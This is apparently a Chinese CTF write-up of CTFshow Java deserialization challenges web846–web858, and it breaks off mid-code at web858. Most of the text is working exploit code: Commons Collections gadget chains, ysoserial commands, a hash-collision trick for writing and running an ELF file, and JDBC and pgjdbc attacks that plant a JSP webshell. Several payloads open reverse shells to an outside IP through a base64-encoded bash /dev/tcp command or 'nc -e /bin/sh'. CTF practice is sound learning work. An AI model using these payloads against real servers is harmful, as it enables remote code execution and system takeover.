LOADING...

dadada~

loading

CTFSHOW-Java反序列化-wp


web846

  • 打开题目提示:

  • URLDNS链没跑了

  • poc:

    package org.example.ctfshow_demo;
    import java.io.*;
    import java.lang.reflect.Field;0
    import java.net.URL;
    import java.text.SimpleDateFormat;
    import java.util.Base64;
    import java.util.Date;
    import java.util.HashMap;
    
    public class URLDNS {
        public static void main(String[] args) throws Exception {
            Date nowTime = new Date();
            HashMap hashmap = new HashMap();
            URL url = new URL("http://c9f1da67-26e8-401e-8410-4059b2e5b682.challenge.ctf.show/");
            SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
            Field filed = Class.forName("java.net.URL").getDeclaredField("hashCode");
            filed.setAccessible(true);  // 绕过Java语言权限控制检查的权限
            filed.set(url, 209);
            hashmap.put(url, 209);
            System.out.println("当前时间为: " + simpleDateFormat.format(nowTime));
            filed.set(url, -1);
    
            try {
                ByteArrayOutputStream data =new ByteArrayOutputStream();
                ObjectOutput oos =new ObjectOutputStream(data);
                oos.writeObject(hashmap);
                oos.flush();
                oos.close();
                System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    
  • 生成的payload进行url编码之后post传进去就ok啦

web847

  • 提示
  • 感觉随便一条cc链应该就可以,本来担心真的会有环境限制,但是发现直接用Java跑cc1的payload就可以

  • 以为是get传参,传了半年也没反应,差点回炉研究cc1去了,我真服了

  • exp:

    package org.example.ctfshow_demo;
    
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.io.*;
    import java.lang.annotation.Target;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.InvocationTargetException;
    import java.util.Base64;
    import java.util.HashMap;
    import java.util.Map;
    
    public class CC1_web847 {
        public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException {
            //1.客户端构建攻击代码
            //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                    new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQzLjE0My4xNzUuMTU4LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"})
            };
            //将transformers数组存入ChaniedTransformer这个继承类
            Transformer transformerChain = new ChainedTransformer(transformers);
    
            //创建Map并绑定transformerChina
            Map innerMap = new HashMap();
            innerMap.put("value", "value");
            //给予map数据转化链
            Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
            //反射机制调用AnnotationInvocationHandler类的构造函数
            Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
            //取消构造函数修饰符限制
            ctor.setAccessible(true);
            //获取AnnotationInvocationHandler类实例
            Object instance = ctor.newInstance(Target.class, outerMap);
    
            ByteArrayOutputStream data =new ByteArrayOutputStream();
            ObjectOutput oos =new ObjectOutputStream(data);
            oos.writeObject(instance);
            oos.flush();
            oos.close();
            System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
        }
    }
    
  • ysoserial命令:

    java -jar ysoserial-all.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQzLjE0My4xNzUuMTU4LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"|base64
    
  • 不知道为什么会500,但是还是能成功反弹shell

web848

  • 提示

  • 不能用TransformedMap,可以想到cc6

  • exp:

    package org.example.ctfshow_demo;
    
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.Base64;
    import java.util.HashMap;
    import java.util.Map;
    
    public class CC6_web848 {
        public static void main(String[] args) throws Exception {
            Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] { String.class,
                            Class[].class }, new Object[] { "getRuntime",
                            new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] { Object.class,
                            Object[].class }, new Object[] { null, new Object[0] }),
                    new InvokerTransformer("exec", new Class[] { String.class },
                            new String[] { "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQzLjE0My4xNzUuMTU4LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" }),
                    new ConstantTransformer(1),
            };
            Transformer transformerChain = new ChainedTransformer(fakeTransformers);
            Map innerMap = new HashMap();
            Map outerMap = LazyMap.decorate(innerMap, transformerChain);
    
            TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
    
            Map expMap = new HashMap();
            expMap.put(tme, "valuevalue");
    
            outerMap.remove("keykey");
    
            Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
            f.setAccessible(true);
            f.set(transformerChain, transformers);
    
            // 生成序列化字符串
            ByteArrayOutputStream data =new ByteArrayOutputStream();
            ObjectOutput oos =new ObjectOutputStream(data);
            oos.writeObject(expMap);
            oos.flush();
            oos.close();
            System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
    
        }
    }
    
  • ysoserial:

    java -jar ysoserial-all.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQzLjE0My4xNzUuMTU4LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"|base64
    

web849

  • 提示:

  • 这个版本可以想到cc2或cc4,但是题目入口的提示写可以nc反弹,不知道怎么个事

  • 然鹅就是要nc反弹,bash反弹会500抛出Runtime的异常

  • 不过用nc反弹也会500,但是可以成功,exp:

    package org.example.ctfshow_demo;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.Base64;
    import java.util.Comparator;
    import java.util.PriorityQueue;
    
    import org.apache.commons.collections4.Transformer;
    import org.apache.commons.collections4.functors.ChainedTransformer;
    import org.apache.commons.collections4.functors.ConstantTransformer;
    import org.apache.commons.collections4.functors.InvokerTransformer;
    import org.apache.commons.collections4.comparators.TransformingComparator;
    public class CC2_web849 {
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
        public static void main(String[] args) throws Exception{
            Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                    new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "nc [IP] 6666 -e /bin/sh" }),
            };
            Transformer transformerChain = new ChainedTransformer(fakeTransformers);
            Comparator comparator = new TransformingComparator(transformerChain);
            PriorityQueue queue = new PriorityQueue(2, comparator);
            queue.add(1);
            queue.add(2);
            setFieldValue(transformerChain, "iTransformers", transformers);
    
            ByteArrayOutputStream data =new ByteArrayOutputStream();
            ObjectOutput oos =new ObjectOutputStream(data);
            oos.writeObject(queue);
            oos.flush();
            oos.close();
            System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
        }
    }
    
  • ysoserial:

    java -jar ysoserial.jar CommonsCollections4 "nc [IP] 6666 -e /bin/sh"|base64
    

web850

  • ysoserial:

    java -jar ysoserial-all.jar CommonsCollections3 "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQzLjE0My4xNzUuMTU4LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"|base64
    
  • 自己的exp不知道为什么用不了,看了几遍感觉还是没啥毛病,真可恶啊

web851

  • 提示

  • cc2和cc4都用不了了,而且还是可以nc,可以用改装版cc6:

    package org.example.ctfshow_demo;
    
    
    import org.apache.commons.collections4.Transformer;
    import org.apache.commons.collections4.functors.ChainedTransformer;
    import org.apache.commons.collections4.functors.ConstantTransformer;
    import org.apache.commons.collections4.functors.InvokerTransformer;
    import org.apache.commons.collections4.keyvalue.TiedMapEntry;
    import org.apache.commons.collections4.map.LazyMap;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.Base64;
    import java.util.HashMap;
    import java.util.Map;
    
    public class CC6_4_web851 {
        public static void main(String[] args) throws Exception {
            Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                    new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "nc [IP] 6666 -e /bin/sh" }),
                    new ConstantTransformer(1),
            };
            Transformer transformerChain = new ChainedTransformer(fakeTransformers);
    
            // 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
            Map innerMap = new HashMap();
            Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
    
            TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
    
            Map expMap = new HashMap();
            expMap.put(tme, "valuevalue");
            outerMap.remove("keykey");
    
            Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
            f.setAccessible(true);
            f.set(transformerChain, transformers);
    
            // 生成序列化字符串
            ByteArrayOutputStream data =new ByteArrayOutputStream();
            ObjectOutput oos =new ObjectOutputStream(data);
            oos.writeObject(expMap);
            oos.flush();
            oos.close();
            System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
        }
    }
    
    image-20230804155745238
  • 在3.2.1版本的cc链转化为4.0版本时,主要修改的部分有:

    • import org.apache.commons.collections.*改成import org.apache.commons.collections4.*
    • LazyMap.decorate换成LazyMap.lazyMap就好了(具体看cc2链的笔记)

web852

  • 同上

web853

  • 要用到cc7了,p牛没讲我还没学,先学了再来(叹气)

  • 一开始忘记把cc7改成适用4.0版本的了,exp:

    package org.example.ctfshow_demo;
    import org.apache.commons.collections4.Transformer;
    import org.apache.commons.collections4.functors.ChainedTransformer;
    import org.apache.commons.collections4.functors.ConstantTransformer;
    import org.apache.commons.collections4.functors.InvokerTransformer;
    import org.apache.commons.collections4.map.LazyMap;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.*;
    
    public class CC7_web853 {
        public static void main(String[] args) throws Exception{
            final Transformer transformerChain = new ChainedTransformer(new Transformer[0]);
            final Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            new String[]{"nc [IP] 6666 -e /bin/sh"}),
                    new ConstantTransformer(1)};
            //使用Hashtable来构造利用链调用LazyMap
            Map hashMap1 = new HashMap();
            Map hashMap2 = new HashMap();
            Map lazyMap1 = LazyMap.lazyMap(hashMap1, transformerChain);
            lazyMap1.put("yy", 1);
            Map lazyMap2 = LazyMap.lazyMap(hashMap2, transformerChain);
            lazyMap2.put("zZ", 1);
            Hashtable hashtable = new Hashtable();
            hashtable.put(lazyMap1, 1);
            hashtable.put(lazyMap2, 1);
            lazyMap2.remove("yy");
    
            Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
            iTransformers.setAccessible(true);
            iTransformers.set(transformerChain, transformers);
    
            ByteArrayOutputStream data =new ByteArrayOutputStream();
            ObjectOutput oos =new ObjectOutputStream(data);
            oos.writeObject(hashtable);
            oos.flush();
            oos.close();
            System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
        }
    }
    

web854

  • ban了很多类

  • 说是cc6+cc4,但是我拼了半天也没拼出来,要想办法绕过这些被过滤的类,wp就找到一篇,只能分析分析wp了

  • exp:

    package org.example.ctfshow_demo;
    
    import org.apache.commons.collections4.keyvalue.TiedMapEntry;
    import org.apache.commons.collections4.Transformer;
    import org.apache.commons.collections4.functors.ChainedTransformer;
    import org.apache.commons.collections4.functors.ConstantTransformer;
    import org.apache.commons.collections4.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
    import org.apache.commons.collections4.map.DefaultedMap;
    
    import java.io.*;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.util.*;
    
    public class CC6_CC4_web854 {
        public static void main(String[] args) throws Exception {
            // Reusing transformer chain and LazyMap gadgets from previous payloads
            Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
            Transformer[] transformers=new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"nc [IP] 6666 -e /bin/sh"})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
            Map innerMap1 = new HashMap();
            // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
            HashMap map=new HashMap();
            Class<DefaultedMap> d = DefaultedMap.class;
            Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class);
            declaredConstructor.setAccessible(true);
            DefaultedMap defaultedMap = declaredConstructor.newInstance(innerMap1, transformerChain);
            TiedMapEntry tiedMapEntry=new TiedMapEntry(defaultedMap, "aaa");
            HashMap<Object, Object> hashMap=new HashMap<>();
            hashMap.put(tiedMapEntry,"bbb");
            map.remove("aaa");
    
            Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
            iTransformers.setAccessible(true);
            iTransformers.set(transformerChain,transformers);
    
            ByteArrayOutputStream data =new ByteArrayOutputStream();
            ObjectOutput oos =new ObjectOutputStream(data);
            oos.writeObject(hashMap);
            oos.flush();
            oos.close();
            System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
        }
    }
    
  • 感觉也不是cc4+cc6,是cc???好像懂了,意思是4.0版本的cc6,但是把lazymap那处换掉了

  • 原CC6:

    Map innerMap = new HashMap();
    Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
    TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
    Map expMap = new HashMap();
    expMap.put(tme, "valuevalue");
    outerMap.remove("keykey");
    Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
    f.setAccessible(true);
    f.set(transformerChain, transformers);
    
  • 换掉LazyMap的CC6:

    Map innerMap1 = new HashMap();
    HashMap map=new HashMap();
    Class<DefaultedMap> d = DefaultedMap.class;
    Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class);
    declaredConstructor.setAccessible(true);
    DefaultedMap defaultedMap = declaredConstructor.newInstance(innerMap1, transformerChain);
    TiedMapEntry tiedMapEntry=new TiedMapEntry(defaultedMap, "aaa");
    HashMap<Object, Object> hashMap=new HashMap<>();
    hashMap.put(tiedMapEntry,"bbb");
    map.remove("aaa");
    Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
    iTransformers.setAccessible(true);
    iTransformers.set(transformerChain,transformers);
    
  • 一切突然变得那么合理

web855

  • 给了源码:

    package com.ctfshow.entity;
     
    import java.io.*;
     
    public class User implements Serializable {
        private static final long serialVersionUID = 0x36d;
        private String username;
        private String password;
     
        public User(String username, String password) {
            this.username = username;
            this.password = password;
        }
     
        public String getUsername() {
            return username;
        }
     
        public void setUsername(String username) {
            this.username = username;
        }
     
        public String getPassword() {
            return password;
        }
     
        public void setPassword(String password) {
            this.password = password;
        }
     
     
        private static final String OBJECTNAME="ctfshow";
        private static final String SECRET="123456";
     
        private static  String shellCode="chmod +x ./"+OBJECTNAME+" && ./"+OBJECTNAME;
     
     
     
        private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
            int magic = in.readInt();
            if(magic==2135247942){
                byte var1 = in.readByte();
     
                switch (var1){
                    case 1:{
                        int var2 = in.readInt();
                        if(var2==0x36d){
     
                            FileOutputStream fileOutputStream = new FileOutputStream(OBJECTNAME);
                            fileOutputStream.write(new byte[]{0x7f,0x45,0x4c,0x46});
                            byte[] temp = new byte[1];
                            while((in.read(temp))!=-1){
                                fileOutputStream.write(temp);
                            }
     
                            fileOutputStream.close();
                            in.close();
     
                        }
                        break;
                    }
                    case 2:{
     
                        ObjectInputStream.GetField gf = in.readFields();
                        String username = (String) gf.get("username", null);
                        String password = (String) gf.get("password",null);
                        username = username.replaceAll("[\\p{C}\\p{So}\uFE00-\uFE0F\\x{E0100}-\\x{E01EF}]+", "")
                                .replaceAll(" {2,}", " ");
                        password = password.replaceAll("[\\p{C}\\p{So}\uFE00-\uFE0F\\x{E0100}-\\x{E01EF}]+", "")
                                .replaceAll(" {2,}", " ");
                        User var3 = new User(username,password);
                        User admin = new User(OBJECTNAME,SECRET);
                        if(var3 instanceof  User){
                            if(OBJECTNAME.equals(var3.getUsername())){
                                throw  new RuntimeException("object unserialize error");
                            }
                            if(SECRET.equals(var3.getPassword())){
                                throw  new RuntimeException("object unserialize error");
                            }
                            if(var3.equals(admin)){
                                Runtime.getRuntime().exec(shellCode);
                            }
                        }else{
                            throw  new RuntimeException("object unserialize error");
                        }
                        break;
                    }
                    default:{
                        throw  new RuntimeException("object unserialize error");
                    }
                }
            }
     
        }
     
        @Override
        public boolean equals(Object o) {
            if (this == o) return true;
            if (!(o instanceof User)) return false;
            User user = (User) o;
            return this.hashCode() == user.hashCode();
        }
     
        @Override
        public int hashCode() {
            return username.hashCode()+password.hashCode();
        }
     
     
    }
    
  • 得到源码后先看一下readObject方法

  • 这里是可以写文件,文件名和文件开头固定,后面的内容可以通过write写入

  • 这里可以执行命令,但是shellcode不可控

  • 可以看到它给的文件固定开头其实是一个elf可执行文件的文件头,接着如果执行shellcode命令则会给该文件一个权限并且执行

  • 先生成一个可执行文件

    #include<stdlib.h>
     int main() {
        system("nc [IP] 6666 -e /bin/sh"); 
        return 0;    
    }
    
  • 编译

    gcc 1.c -o payload
    
  • 删除前四字节

  • 接着利用反序列化写入,前面有几个if,重写writeObject

     private void writeObject(ObjectOutputStream out) throws Exception {
         //将名字反转写入二进制流
         out.writeInt(2135247942);
         out.writeByte(1);
         out.writeInt(0x36d);
         File filename = new File("D:\\IdeaProjects\\cc\\src\\main\\java\\com\\ctfshow\\entity\\payload"); //gcc生成的文件位置
         BufferedInputStream in = new BufferedInputStream(new FileInputStream(filename));
         ByteArrayOutputStream out2 = new ByteArrayOutputStream(1024);
         byte[] temp = new byte[1024];
         int size = 0;
         while((size = in.read(temp)) != -1){
             out2.write(temp, 0, size);
         }
         in.close();
         byte[] content = out2.toByteArray();
         out.write(content);
         out.defaultWriteObject();
    }
    
  • 生成序列化字符串:

    package com.ctfshow.entity;
    
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectOutputStream;
    import java.util.Base64;
    
    public class web855 {
        public static void main(String[] args)throws Exception {
            User user = new User("dUfshow", "0Q3456");
            ByteArrayOutputStream brr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(brr);
            oos.writeObject(user);
            String payload = new String(Base64.getEncoder().encode(brr.toByteArray()));
            System.out.println(payload);
        }
    }
    
  • 此时已经成功写入恶意文件,接下来就要想办法执行shellcode

  • 这里的意思是用户名和密码不能为ctfshow/123456,但是又必须是admin身份

  • 可以看到equals这里的逻辑是通过比较hashcode来判断是否相等

  • hash碰撞脚本:

    def hashcode(val):
        h = 0
        for i in range(len(val)):
            h = 31 * h + ord(val[i])
        return h
    
    
    t = "ct"
    # t="12"
    for k in range(1, 128):
        for l in range(1, 128):
            if t != (chr(k) + chr(l)):
                if hashcode(t) == hashcode(chr(k) + chr(l)):
                    print(t, chr(k) + chr(l))
    
  • 可以用dU代替ct0Q代替12

  • 修改readobject方法:

    private void writeObject(ObjectOutputStream out) throws Exception {
        out.writeInt(2135247942);
        out.writeByte(2);
        out.defaultWriteObject();
    }
    
  • 重新生成序列化字符串,传入后触发Runtime.getRuntime().exec(shellCode);,成功执行命令

web856

  • jdbc反序列化

  • 提示了所需环境的版本

  • 有一个User类

    package com.ctfshow.entity;
     
    import java.io.*;
     
    public class User implements Serializable {
        private static final long serialVersionUID = -7205095498817563965L;
        private String username;
        private String password;
     
        public User(String username, String password) {
            this.username = username;
            this.password = password;
        }
     
        public String getUsername() {
            return username;
        }
     
        public void setUsername(String username) {
            this.username = username;
        }
     
        public String getPassword() {
            return password;
        }
     
        public void setPassword(String password) {
            this.password = password;
        }
     
     
        @Override
        public boolean equals(Object o) {
            if (this == o) return true;
            if (!(o instanceof User)) return false;
            User user = (User) o;
            return this.hashCode() == user.hashCode();
        }
     
        @Override
        public int hashCode() {
            return username.hashCode()+password.hashCode();
        }
    }
    
  • 还有一个Connection类:

    package com.ctfshow.entity;
     
    import java.io.IOException;
    import java.io.ObjectInputStream;
    import java.io.Serializable;
    import java.sql.DriverManager;
    import java.sql.SQLException;
    import java.util.Objects;
     
    public class Connection implements Serializable {
     
        private static final long serialVersionUID = 2807147458202078901L;
     
        private String driver;
     
        private String schema;
        private String host;
        private int port;
        private User user;
        private String database;
     
        public String getDriver() {
            return driver;
        }
     
        public void setDriver(String driver) {
            this.driver = driver;
        }
     
        public String getSchema() {
            return schema;
        }
     
        public void setSchema(String schema) {
            this.schema = schema;
        }
     
        public void setPort(int port) {
            this.port = port;
        }
     
        public String getHost() {
            return host;
        }
     
        public void setHost(String host) {
            this.host = host;
        }
     
     
        public User getUser() {
            return user;
        }
     
        public void setUser(User user) {
            this.user = user;
        }
     
        public String getDatabase() {
            return database;
        }
     
        public void setDatabase(String database) {
            this.database = database;
        }
     
        private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException, SQLException {
            Class.forName("com.mysql.jdbc.Driver");
            ObjectInputStream.GetField gf = in.readFields();
            String host = (String) gf.get("host", "127.0.0.1");
            int port = (int) gf.get("port",3306);
            User user = (User) gf.get("user",new User("root","root"));
            String database = (String) gf.get("database", "ctfshow");
            String schema = (String) gf.get("schema", "jdbc:mysql");
            DriverManager.getConnection( schema+"://"+host+":"+port+"/?"+database+"&user="+user.getUsername());
        }
     
        @Override
        public boolean equals(Object o) {
            if (this == o) return true;
            if (!(o instanceof Connection)) return false;
            Connection that = (Connection) o;
            return Objects.equals(host, that.host) && Objects.equals(port, that.port) && Objects.equals(user, that.user) && Objects.equals(database, that.database);
        }
     
        @Override
        public int hashCode() {
            return Objects.hash(host, port, user, database);
        }
    }
    
  • 根据对所用库的提示,需要构造的payload应该是:

    jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
    
  • 然后需要注意的是payload限制在commons-collections 4.0可用的链子

  • exp:

    package com.ctfshow.entity;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.Base64;
    
    public class Payload {
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
        public static void main(String[] args) throws Exception{
            Connection connection = new Connection();
            Class<? extends Connection> aClass = connection.getClass();
    
            setFieldValue(connection,"host","[IP]");
            setFieldValue(connection,"port",3307);
            setFieldValue(connection,"schema","jdbc:mysql");
            setFieldValue(connection,"database","autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor");
            setFieldValue(connection,"user",new User("root","root"));
    
    
            ByteArrayOutputStream data =new ByteArrayOutputStream();
            ObjectOutput oos =new ObjectOutputStream(data);
            oos.writeObject(connection);
            oos.flush();
            oos.close();
            System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
        }
    }
    
  • 生成payload:

    java -jar ysoserial.jar CommonsCollections4 "nc [IP] 6666 -e /bin/sh" > payload
    
  • 在vps上运行fakemysql服务,监听端口

web857

  • pgjdbc写马,有一个user类:

    package com.ctfshow.entity;
     
    import java.io.*;
     
    public class User implements Serializable {
        private static final long serialVersionUID = -7205095498817563965L;
        private String username;
        private String password;
     
        public User(String username, String password) {
            this.username = username;
            this.password = password;
        }
     
        public String getUsername() {
            return username;
        }
     
        public void setUsername(String username) {
            this.username = username;
        }
     
        public String getPassword() {
            return password;
        }
     
        public void setPassword(String password) {
            this.password = password;
        }
     
     
        @Override
        public boolean equals(Object o) {
            if (this == o) return true;
            if (!(o instanceof User)) return false;
            User user = (User) o;
            return this.hashCode() == user.hashCode();
        }
     
        @Override
        public int hashCode() {
            return username.hashCode()+password.hashCode();
        }
     
    }
    
  • 一个Connection类:

    package com.ctfshow.entity;
     
    import java.io.IOException;
    import java.io.ObjectInputStream;
    import java.io.Serializable;
    import java.sql.DriverManager;
    import java.sql.SQLException;
    import java.util.Objects;
     
    public class Connection implements Serializable {
     
        private static final long serialVersionUID = 2807147458202078901L;
     
        private String driver;
     
        private String schema;
        private String host;
        private int port;
        private User user;
        private String database;
     
        public String getDriver() {
            return driver;
        }
     
        public void setDriver(String driver) {
            this.driver = driver;
        }
     
        public String getSchema() {
            return schema;
        }
     
        public void setSchema(String schema) {
            this.schema = schema;
        }
     
        public void setPort(int port) {
            this.port = port;
        }
     
        public String getHost() {
            return host;
        }
     
        public void setHost(String host) {
            this.host = host;
        }
     
     
        public User getUser() {
            return user;
        }
     
        public void setUser(User user) {
            this.user = user;
        }
     
        public String getDatabase() {
            return database;
        }
     
        public void setDatabase(String database) {
            this.database = database;
        }
     
        private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException, SQLException {
     
            ObjectInputStream.GetField gf = in.readFields();
            String host = (String) gf.get("host", "127.0.0.1");
            String  driver = (String) gf.get("driver","com.mysql.jdbc.Driver");
            int port = (int) gf.get("port",3306);
            User user = (User) gf.get("user",new User("root","root"));
            String database = (String) gf.get("database", "ctfshow");
            String schema = (String) gf.get("schema", "jdbc:mysql");
            Class.forName(driver);
            DriverManager.getConnection( schema+"://"+host+":"+port+"/?"+database+"&user="+user.getUsername());
        }
     
        @Override
        public boolean equals(Object o) {
            if (this == o) return true;
            if (!(o instanceof Connection)) return false;
            Connection that = (Connection) o;
            return Objects.equals(host, that.host) && Objects.equals(port, that.port) && Objects.equals(user, that.user) && Objects.equals(database, that.database);
        }
     
        @Override
        public int hashCode() {
            return Objects.hash(host, port, user, database);
        }
    }
    
  • Connection类的readObject方法执行了DriverManager.getConnection操作,如果把它的参数恶意构造为pdjdbc反序列化的url,就可以利用了

  • 构造成这个样子就可以了jdbc:postgresql://127.0.0.1:5432/test/?loggerLevel=DEBUG&loggerFile=./hack.jsp&<%25[恶意代码];%25>

  • 由于Connection类里的成员变量都是私有的,需要反射获取类,然后使用setAccessible方法修改属性

  • payload:

    package com.ctfshow.entity;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.Base64;
    
    public class Payload {
        public static void main(String[] args) throws Exception{
            Connection connection = new Connection();
            Class<? extends Connection> aClass = connection.getClass();
            Field driver = aClass.getDeclaredField("driver");
            driver.setAccessible(true);
            driver.set(connection,"org.postgresql.Driver");
            Field host = aClass.getDeclaredField("host");
            host.setAccessible(true);
            host.set(connection,"127.0.0.1");
            Field port = aClass.getDeclaredField("port");
            port.setAccessible(true);
            port.set(connection,5432);
            Field user = aClass.getDeclaredField("user");
            user.setAccessible(true);
            user.set(connection,new User("hoylindo","123456"));
            Field schema = aClass.getDeclaredField("schema");
            schema.setAccessible(true);
            schema.set(connection,"jdbc:postgresql");
            Field database = aClass.getDeclaredField("database");
            database.setAccessible(true);
            database.set(connection,"password=123456&loggerLevel=debug&loggerFile=../webapps/ROOT/hack.jsp&<%Runtime.getRuntime().exec(request.getParameter(\"i\"));%>");
    
            ByteArrayOutputStream data =new ByteArrayOutputStream();
            ObjectOutput oos =new ObjectOutputStream(data);
            oos.writeObject(connection);
            oos.flush();
            oos.close();
            System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
        }
    }
    
  • 访问hack.jsp传入i=nc%20[IP]%206666%20-e%20sh

web858

  • 题目直接告诉了是tomcat的session反序列化,页面可以查看context.xml

  • 这里有一个user类的readObject方法可以命令执行

    package com.ctfshow.entity;
     
    import java.io.IOException;
    import java.io.ObjectInputStream;
    import java.io.Serializable;
     
    public class User implements Serializable {
        private static final long serialVersionUID = -3254536114659397781L;
        private String username;
        private String password;
     
        public String getUsername() {
            return username;
        }
        public void setUsername(String username) {
            this.username = username;
        }
        public String getPassword() {
            return password;
        }
        public void setPassword(String password) {
            this.password = password;
        }
        private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
            in.defaultReadObject();
            Runtime.getRuntime().exec(this.username);
        } 
    }
    
  • 可以上传文件,上传后会返回文件路径

  • 因此如果上传1.session,那么当JSESSIONID1.session上传路径时,会触发反序列化

  • 生成session文件:

    package com.ctfshow.entity;
    
    import java.io.*;
    import java.lang.reflect.Field;
